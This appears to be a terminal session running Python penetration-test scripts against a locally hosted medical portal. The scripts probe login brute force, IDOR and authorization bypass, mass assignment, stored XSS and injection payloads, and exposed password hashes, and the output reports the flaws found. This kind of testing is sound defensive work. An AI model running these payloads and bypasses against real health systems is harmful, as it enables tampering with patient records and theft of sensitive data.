print(f"  GET /api/users/fake-id: {r.status_code} - {r.text[:200]}")

print()

# ============================================
# SECTION 8: BRUTE FORCE & RATE LIMITING
# ============================================
print("=" * 60)
print("SECTION 8: BRUTE FORCE & RATE LIMITING")
print("=" * 60)

# 8.1 Login brute force test
bf_sess = requests.Session()
bf_sess.get(f"{BASE}/api/auth/csrf")
success_count = 0
fail_count = 0
for i in range(10):
    csrf_r = bf_sess.get(f"{BASE}/api/auth/csrf")
    csrf = csrf_r.json()["csrfToken"]
    r = bf_sess.post(f"{BASE}/api/auth/callback/credentials", data={
        "email": "admin@medportal.com",
        "password": f"wrong{i}",
        "csrfToken": csrf
    }, allow_redirects=True)
    if r.status_code in [200, 302]:
        sess_r = bf_sess.get(f"{BASE}/api/auth/session")
        if sess_r.json().get("user"):
            success_count += 1
        else:
            fail_count += 1
    else:
        fail_count += 1

print(f"  10 failed login attempts: {fail_count} rejected, {success_count} succeeded")
print(f"  [!] No account lockout or rate limiting on login")

print()

# ============================================
# SECTION 9: INJECTION TESTING
# ============================================
print("=" * 60)
print("SECTION 9: INJECTION TESTING")
print("=" * 60)

# 9.1 NoSQL/SQL-like payloads in patient creation
r = admin_sess.post(f"{BASE}/api/patients", json={
    "firstName": "{$gt: ''}",
    "lastName": "Injection",
    "email": "nosql@test.com",
    "dateOfBirth": "2000-01-01T00:00:00Z"
})
print(f"  NoSQL injection in patient creation: {r.status_code}")

# 9.2 XSS in message content
r = patient_sess.post(f"{BASE}/api/messages", json={
    "recipientId": user_ids[1] if len(user_ids) > 1 else user_ids[0],
    "content": "<script>alert('xss')</script><img src=x onerror=alert(1)>"
})
print(f"  XSS payload in message: {r.status_code}")
if r.status_code == 201:
    msg_id = r.json().get("id")
    print(f"    [!] XSS payload stored in message (stored XSS possible)")

# 9.3 XSS in prescription instructions
r = admin_sess.get(f"{BASE}/api/prescriptions")
prescriptions = r.json()
if isinstance(prescriptions, list) and len(prescriptions) > 0:
    rx_id = prescriptions[0]["id"]
    r = sessions["doctor"].patch(f"{BASE}/api/prescriptions/{rx_id}", json={
        "instructions": "<script>alert('rx-xss')</script>"
    })
    print(f"  XSS in prescription PATCH: {r.status_code}")

# 9.4 XSS in notification
r = sessions["admin"].post(f"{BASE}/api/notifications", json={
    "userId": user_ids[0] if user_ids else "fake",
    "title": "<script>alert('notif-xss')</script>",
    "description": "<img src=x onerror=alert(document.cookie)>"
})
print(f"  XSS in notification POST: {r.status_code}")

print()

# ============================================
# SECTION 10: WORKFLOW BYPASS
# ============================================
print("=" * 60)
print("SECTION 10: WORKFLOW & BUSINESS LOGIC")
print("=" * 60)

# 10.1 Refill request - patient can specify arbitrary prescriptionId
if isinstance(prescriptions, list) and len(prescriptions) > 0:
    r = patient_sess.post(f"{BASE}/api/refill-requests", json={
        "prescriptionId": prescriptions[0]["id"],
        "doctorId": "arbitrary-doctor-id",
        "message": "Refill request with arbitrary doctor"
    })
    print(f"  Patient refill request with arbitrary doctorId: {r.status_code}")

# 10.2 Doctor approving their own referral status
if isinstance(referrals, list) and len(referrals) > 0:
    r = sessions["doctor"].patch(f"{BASE}/api/referrals/{referrals[0]['id']}", json={
        "status": "ACCEPTED",
        "notes": "Self-approved"
    })
    print(f"  Doctor self-approving referral: {r.status_code}")

# 10.3 Appointment status manipulation by patient
if isinstance(appts, list) and len(appts) > 0:
    r = patient_sess.patch(f"{BASE}/api/appointments/{appts[0]['id']}", json={
        "status": "COMPLETED"
    })
    print(f"  Patient changing appointment to COMPLETED: {r.status_code}")

# 10.4 Referral creation with spoofed fromDoctorId
r = sessions["doctor"].post(f"{BASE}/api/referrals", json={
    "patientId": patient_ids[0] if patient_ids else "fake",
    "fromDoctorId": "spoofed-doctor-id",
    "toDoctorId": "spooped-doctor-id",
    "reason": "Spoofed referral",
    "status": "ACCEPTED"
})
print(f"  Doctor creating referral with spoofed fromDoctorId: {r.status_code}")

# 10.5 Lab result upload - no file validation
r = sessions["lab"].post(f"{BASE}/api/lab-results/upload", json={
    "labResultId": "nonexistent-id",
    "fileName": "malware.exe",
    "fileUrl": "/uploads/malware.exe",
    "fileType": "application/x-executable",
    "technicianId": "arbitrary-tech-id"
})
print(f"  Lab upload with executable file type: {r.status_code}")

# 10.6 Doctor availability block - fallback to body.doctorId
r = sessions["doctor"].post(f"{BASE}/api/appointments/blocks", json={
    "doctorId": "arbitrary-doctor-id",
    "startTime": "2025-06-01T09:00:00Z",
    "endTime": "2025-06-01T17:00:00Z",
    "reason": "Block for arbitrary doctor"
})
print(f"  Doctor creating block for arbitrary doctorId: {r.status_code}")

print()
print("=" * 60)
print("TEST COMPLETE")
print("=" * 60)
PYEOF
python3 /tmp/medportal_test.py 2>&1

============================================================
SECTION 1: AUTHENTICATION
============================================================
  admin: logged in as admin@medportal.com
  doctor: logged in as dr.patel@medportal.com
  doctor2: logged in as dr.lee@medportal.com
  nurse: logged in as nurse.james@medportal.com
  lab: logged in as lab.snow@medportal.com
  patient: logged in as avery.johnson@medportal.com
  Invalid login test: session empty = True
  Unauth GET /api/users: 401 (expect 401)
  Unauth GET /api/patients: 401 (expect 401)
  Unauth /dashboard redirect: 307 (expect 307/302)

============================================================
SECTION 2: AUTHORIZATION (BOLA / IDOR)
============================================================
  [OK] Patient cannot list patients (403)
  [!] GET /api/users returns 6 users, password field present: True
  Patient GET /api/patients/cmo6znrs...: 200
    [!] IDOR: Patient can access any patient record by ID
  Patient PATCH /api/patients/cmo6znrs...: 200
    [CRITICAL] IDOR: Patient can modify any patient record!
  Patient GET /api/audit-logs: 403 (expect 403)
  Patient GET /api/bulk-imports: 403 (expect 403)
  Nurse GET /api/prescriptions: 200
  Lab tech GET /api/medical-records: 403
  Patient DELETE /api/appointments/cmo6znrs...: 200
    [!] Patient can delete ANY appointment
  Patient PATCH appointment: 500
  Patient GET /api/referrals: 403 (expect 403)
  admin GET /api/referrals/[id]: 200
  doctor GET /api/referrals/[id]: 200
  doctor2 GET /api/referrals/[id]: 200
  nurse GET /api/referrals/[id]: 200
    [!] BOLA: nurse can view any referral by ID
  lab GET /api/referrals/[id]: 200
    [!] BOLA: lab can view any referral by ID
  patient GET /api/referrals/[id]: 200
    [!] BOLA: patient can view any referral by ID

============================================================
SECTION 3: MASS ASSIGNMENT / INPUT MANIPULATION
============================================================
  Admin creates ADMIN user: 201
    [!] Created admin user via API, id=cmo6ztm5w000013evlicyxp7g
  Admin PATCH user role to ADMIN: 200
    [!] Mass assignment: role can be set to ADMIN via PATCH
  Patient POST /api/patients: 403 (expect 403)
  Patient POST appointment with arbitrary IDs: 500
  Patient POST change-request: 500 (should be restricted)
  Nurse POST waitlist with arbitrary patientId: 500
  Patient POST /api/audit-logs: 201
    [CRITICAL] Any authenticated user can WRITE audit logs (audit integrity compromised)
  Patient POST notification to any user: 403
    [OK] Patient blocked from sending notifications
  Patient POST message: 500
  Lab tech POST upload with path traversal: 500
Traceback (most recent call last):
  File "/tmp/medportal_test.py", line 319, in <module>
    r = admin_sess.patch(f"/api/users/admin_id", json={"password": "newhash"})
        ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/usr/lib/python3/dist-packages/requests/sessions.py", line 661, in patch
    return self.request("PATCH", url, data=data, **kwargs)
           ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/usr/lib/python3/dist-packages/requests/sessions.py", line 575, in request
    prep = self.prepare_request(req)
           ^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/usr/lib/python3/dist-packages/requests/sessions.py", line 486, in prepare_request
    p.prepare(
  File "/usr/lib/python3/dist-packages/requests/models.py", line 368, in prepare
    self.prepare_url(url, params)
  File "/usr/lib/python3/dist-packages/requests/models.py", line 439, in prepare_url
    raise MissingSchema(
requests.exceptions.MissingSchema: Invalid URL '/api/users/admin_id': No scheme supplied. Perhaps you meant https:///api/users/admin_id?

$ cat > /tmp/medportal_test2.py << 'PYEOF'
import requests
import json

BASE = "http://localhost:3000"

def login(email, password):
    s = requests.Session()
    csrf_r = s.get(f"{BASE}/api/auth/csrf")
    csrf = csrf_r.json()["csrfToken"]
    s.post(f"{BASE}/api/auth/callback/credentials", data={
        "email": email, "password": password, "csrfToken": csrf
    }, allow_redirects=True)
    return s

admin_sess = login("admin@medportal.com", "admin123")
doctor_sess = login("dr.patel@medportal.com", "doctor123")
patient_sess = login("avery.johnson@medportal.com", "patient123")
lab_sess = login("lab.snow@medportal.com", "lab123")
nurse_sess = login("nurse.james@medportal.com", "nurse123")

# Get IDs
users = admin_sess.get(f"{BASE}/api/users").json()
user_ids = {u["email"]: u["id"] for u in users}
patients = admin_sess.get(f"{BASE}/api/patients").json()
patient_ids = [p["id"] for p in patients]
appointments = admin_sess.get(f"{BASE}/api/appointments").json()
if isinstance(appointments, list):
    appt_ids = [a["id"] for a in appointments]
else:
    appt_ids = []
prescriptions = admin_sess.get(f"{BASE}/api/prescriptions").json()
if isinstance(prescriptions, list):
    rx_ids = [p["id"] for p in prescriptions]
else:
    rx_ids = []

# Continuation tests
print("=" * 60)
print("SECTION 3 (cont): MASS ASSIGNMENT")
print("=" * 60)

# 3.11 Admin can directly set any user field including password
target_uid = user_ids.get("avery.johnson@medportal.com")
if target_uid:
    r = admin_sess.patch(f"{BASE}/api/users/{target_uid}", json={"password": "$2a$10$fakehash"})
    print(f"  Admin PATCH user password hash: {r.status_code} - {r.text[:200]}")

# 3.12 Doctor can modify any doctor profile (no ownership check)
doctors = admin_sess.get(f"{BASE}/api/doctors").json()
if isinstance(doctors, list) and len(doctors) > 1:
    # Dr. Patel tries to modify Dr. Lee's profile
    dr_lee_id = None
    for d in doctors:
        if d.get("user", {}).get("email") == "dr.lee@medportal.com":
            dr_lee_id = d["id"]
    if dr_lee_id:
        r = doctor_sess.patch(f"{BASE}/api/doctors/{dr_lee_id}", json={"specialty": "Hacked"})
        print(f"  Dr.Patel PATCH Dr.Lee's profile: {r.status_code}")
        if r.status_code == 200:
            print(f"    [!] IDOR: Doctor can modify another doctor's profile")

print()
print("=" * 60)
print("SECTION 4: SEARCH & INFORMATION DISCLOSURE")
print("=" * 60)

# 4.1 Search accessible to all authenticated users
for role_name, role_sess in [("patient", patient_sess), ("lab", lab_sess), ("nurse", nurse_sess)]:
    r = role_sess.get(f"{BASE}/api/search", params={"q": "a", "type": "all"})
    if r.status_code == 200:
        data = r.json()
        types = set(d["type"] for d in data)
        print(f"  {role_name} search 'a': {len(data)} results, types: {types}")
    else:
        print(f"  {role_name} search: {r.status_code}")

# 4.2 Patient can discover medical records via search
r = patient_sess.get(f"{BASE}/api/search", params={"q": "Annual", "type": "record"})
print(f"  Patient search for 'Annual' (medical records): {r.status_code} - {r.text[:300]}")

# 4.3 Search with special chars
r = patient_sess.get(f"{BASE}/api/search", params={"q": "' OR 1=1--", "type": "all"})
print(f"  Search SQL-like injection: {r.status_code} (Prisma parameterized, should be safe)")

print()
print("=" * 60)
print("SECTION 5: SHARE LINKS & TOKEN SECURITY")
print("=" * 60)

# 5.1 Patient modifying other patient's share link
r = admin_sess.get(f"{BASE}/api/share-links")
links = r.json()
if isinstance(links, list):
    for link in links:
        print(f"  Share link: token='{link.get('token')}', expiresAt={link.get('expiresAt')}")

# 5.2 Patient can PATCH share links (no ownership check)
if isinstance(links, list) and len(links) > 0:
    r = patient_sess.patch(f"{BASE}/api/share-links/{links[0]['id']}", json={
        "expiresAt": "2099-01-01T00:00:00Z",
        "status": "ACTIVE"
    })
    print(f"  Patient PATCH share link (extend expiry): {r.status_code}")
    if r.status_code == 200:
        print(f"    [!] Patient can modify any share link (no ownership check)")

print()
print("=" * 60)
print("SECTION 6: SESSION & COOKIE SECURITY")
print("=" * 60)

# 6.1 Response headers check
r = requests.get(f"{BASE}/")
headers = dict(r.headers)
security_headers = {
    "x-frame-options": "Missing",
    "x-content-type-options": "Missing",
    "strict-transport-security": "Missing",
    "content-security-policy": "Missing",
    "x-xss-protection": "Missing"
}
for h in security_headers:
    val = headers.get(h)
    if val:
        security_headers[h] = val
    else:
        print(f"  [!] Missing security header: {h}")

for h, v in security_headers.items():
    if v != "Missing":
        print(f"  Present: {h}: {v}")

# 6.2 API lacks CSRF protection (cookie-based auth, no CSRF token required)
print(f"  API endpoints use cookie auth without CSRF token verification")

print()
print("=" * 60)
print("SECTION 7: SENSITIVE DATA EXPOSURE")
print("=" * 60)

# 7.1 Password hashes returned to admin
r = admin_sess.get(f"{BASE}/api/users")
users_data = r.json()
if isinstance(users_data, list):
    for u in users_data[:1]:
        if "password" in u:
            print(f"  [!] Password hash exposed: {u['password'][:40]}...")
        
# 7.2 Check .env exposure
r = requests.get(f"{BASE}/.env")
print(f"  GET /.env: {r.status_code}")

# 7.3 Source map exposure
r = requests.get(f"{BASE}/_next/static/chunks/main.js.map")
print(f"  GET source map: {r.status_code}")

# 7.4 Verbose errors
r = requests.patch(f"{BASE}/api/patients/nonexistent-id", json={"city": "test"}, 
    cookies=patient_sess.cookies.get_dict())
print(f"  PATCH nonexistent patient: {r.status_code} - {r.text[:200]}")

print()
print("=" * 60)
print("SECTION 9: INJECTION TESTING")
print("=" * 60)

# 9.1 XSS in messages  
r = patient_sess.post(f"{BASE}/api/messages", json={
    "recipientId": user_ids.get("dr.patel@medportal.com"),
    "content": "<script>alert('xss')</script><img src=x onerror=alert(1)>"
})
print(f"  XSS in message content: {r.status_code}")
if r.status_code == 201:
    print(f"    [!] XSS payload stored in message (stored XSS)")

# 9.2 XSS in appointment reason
if appt_ids:
    r = patient_sess.patch(f"{BASE}/api/appointments/{appt_ids[0]}", json={
        "reason": "<script>alert('appt-xss')</script>"
    })
    print(f"  XSS in appointment reason: {r.status_code} (got 500, may have been deleted)")

# 9.3 XSS in notification title
r = admin_sess.post(f"{BASE}/api/notifications", json={
    "userId": user_ids.get("avery.johnson@medportal.com"),
    "title": "<script>alert(1)</script>",
    "description": "test"
})
print(f"  XSS in notification title: {r.status_code}")

print()
print("=" * 60)
print("SECTION 10: WORKFLOW & BUSINESS LOGIC")
print("=" * 60)

# 10.1 Prescription refill with arbitrary prescriptionId
if rx_ids:
    r = patient_sess.post(f"{BASE}/api/refill-requests", json={
        "prescriptionId": rx_ids[0],
        "doctorId": "arbitrary",
        "message": "Refill for arbitrary prescription"
    })
    print(f"  Patient refill for arbitrary prescription: {r.status_code}")

# 10.2 Appointment deletion without ownership check (patient can delete ANY appt)
# Already confirmed in section 2 - patient deleted an appointment
print(f"  [CONFIRMED] Patient can delete any appointment (no ownership check)")

# 10.3 Doctor creating appointment for arbitrary patient
r = doctor_sess.post(f"{BASE}/api/appointments", json={
    "patientId": patient_ids[0] if patient_ids else "x",
    "doctorId": "arbitrary-doctor",
    "department": "Fraud",
    "reason": "Fraudulent appointment",
    "appointmentDate": "2025-06-01T10:00:00Z"
})
print(f"  Doctor creating appointment with arbitrary IDs: {r.status_code}")

# 10.4 Lab result status manipulation
lab_results = lab_sess.get(f"{BASE}/api/lab-results").json()
if isinstance(lab_results, list) and len(lab_results) > 0:
    lr_id = lab_results[0]["id"]
    r = lab_sess.patch(f"{BASE}/api/lab-results/{lr_id}", json={
        "status": "NORMAL",
        "value": "0.0%",
        "resultSummary": "Manipulated result"
    })
    print(f"  Lab tech modifying lab result: {r.status_code}")
    if r.status_code == 200:
        print(f"    [!] Lab tech can manipulate lab results")

# 10.5 Share link - no ownership on PATCH
r = admin_sess.get(f"{BASE}/api/share-links")
links = r.json()
if isinstance(links, list) and len(links) > 0:
    # Patient modifies link that may not be theirs
    r = patient_sess.patch(f"{BASE}/api/share-links/{links[0]['id']}", json={
        "expiresAt": "2099-12-31T00:00:00Z"
    })
    print(f"  Patient extending share link expiry: {r.status_code}")

print()
print("=" * 60)
print("SECTION 11: CONCURRENCY TESTS")
print("=" * 60)

# 11.1 Concurrent prescription refill requests
import concurrent.futures
def create_refill():
    s = login("avery.johnson@medportal.com", "patient123")
    if rx_ids:
        return s.post(f"{BASE}/api/refill-requests", json={
            "prescriptionId": rx_ids[0],
            "doctorId": "arbitrary",
            "message": "Concurrent refill"
        }).status_code
    return None

with concurrent.futures.ThreadPoolExecutor(max_workers=5) as executor:
    futures = [executor.submit(create_refill) for _ in range(5)]
    results = [f.result() for f in concurrent.futures.as_completed(futures)]
print(f"  5 concurrent refill requests: {results}")
dups = results.count(201)
if dups > 1:
    print(f"    [!] {dups} duplicate refill requests created (no concurrency control)")

print()
print("=" * 60)
print("ALL TESTS COMPLETE")
print("=" * 60)
PYEOF
python3 /tmp/medportal_test2.py 2>&1

============================================================
SECTION 3 (cont): MASS ASSIGNMENT
============================================================
  Admin PATCH user password hash: 200 - {"id":"cmo6znrs4000iddy5dlpxmfmv","name":"Avery Johnson","email":"avery.johnson@medportal.com","password":"$2a$10$fakehash","role":"PATIENT","createdAt":"2026-04-20T09:24:38.885Z","updatedAt":"2026-04
  Dr.Patel PATCH Dr.Lee's profile: 403

============================================================
SECTION 4: SEARCH & INFORMATION DISCLOSURE
============================================================
  patient search 'a': 4 results, types: {'patient', 'record', 'doctor'}
  lab search 'a': 4 results, types: {'patient', 'record', 'doctor'}
  nurse search 'a': 4 results, types: {'patient', 'record', 'doctor'}
  Patient search for 'Annual' (medical records): 200 - [{"id":"cmo6znrsa000vddy594vn9daz","label":"Annual Wellness Exam","type":"record","meta":"Patient: Avery Johnson"}]
  Search SQL-like injection: 200 (Prisma parameterized, should be safe)

============================================================
SECTION 5: SHARE LINKS & TOKEN SECURITY
============================================================
  Share link: token='share-demo-token', expiresAt=2026-04-21T09:24:38.898Z
  Patient PATCH share link (extend expiry): 200
    [!] Patient can modify any share link (no ownership check)

============================================================
SECTION 6: SESSION & COOKIE SECURITY
============================================================
  [!] Missing security header: x-frame-options
  [!] Missing security header: x-content-type-options
  [!] Missing security header: strict-transport-security
  [!] Missing security header: content-security-policy
  [!] Missing security header: x-xss-protection
  API endpoints use cookie auth without CSRF token verification

============================================================
SECTION 7: SENSITIVE DATA EXPOSURE
============================================================
  [!] Password hash exposed: $2a$10$WFT5m8bFXtpsy2aguaNFluVtE47Z7ssEv...
  GET /.env: 404
  GET source map: 404
  PATCH nonexistent patient: 500 - {"error":"Unable to update patient"}

============================================================
SECTION 9: INJECTION TESTING
============================================================
  XSS in message content: 201
    [!] XSS payload stored in message (stored XSS)
  XSS in appointment reason: 200 (got 500, may have been deleted)
  XSS in notification title: 201

============================================================
SECTION 10: WORKFLOW & BUSINESS LOGIC
============================================================
  Patient refill for arbitrary prescription: 500
  [CONFIRMED] Patient can delete any appointment (no ownership check)
  Doctor creating appointment with arbitrary IDs: 500
  Lab tech modifying lab result: 200
    [!] Lab tech can manipulate lab results
  Patient extending share link expiry: 200

============================================================
SECTION 11: CONCURRENCY TESTS
============================================================
  5 concurrent refill requests: [401, 401, 401, 401, 401]

============================================================
ALL TESTS COMPLETE
============================================================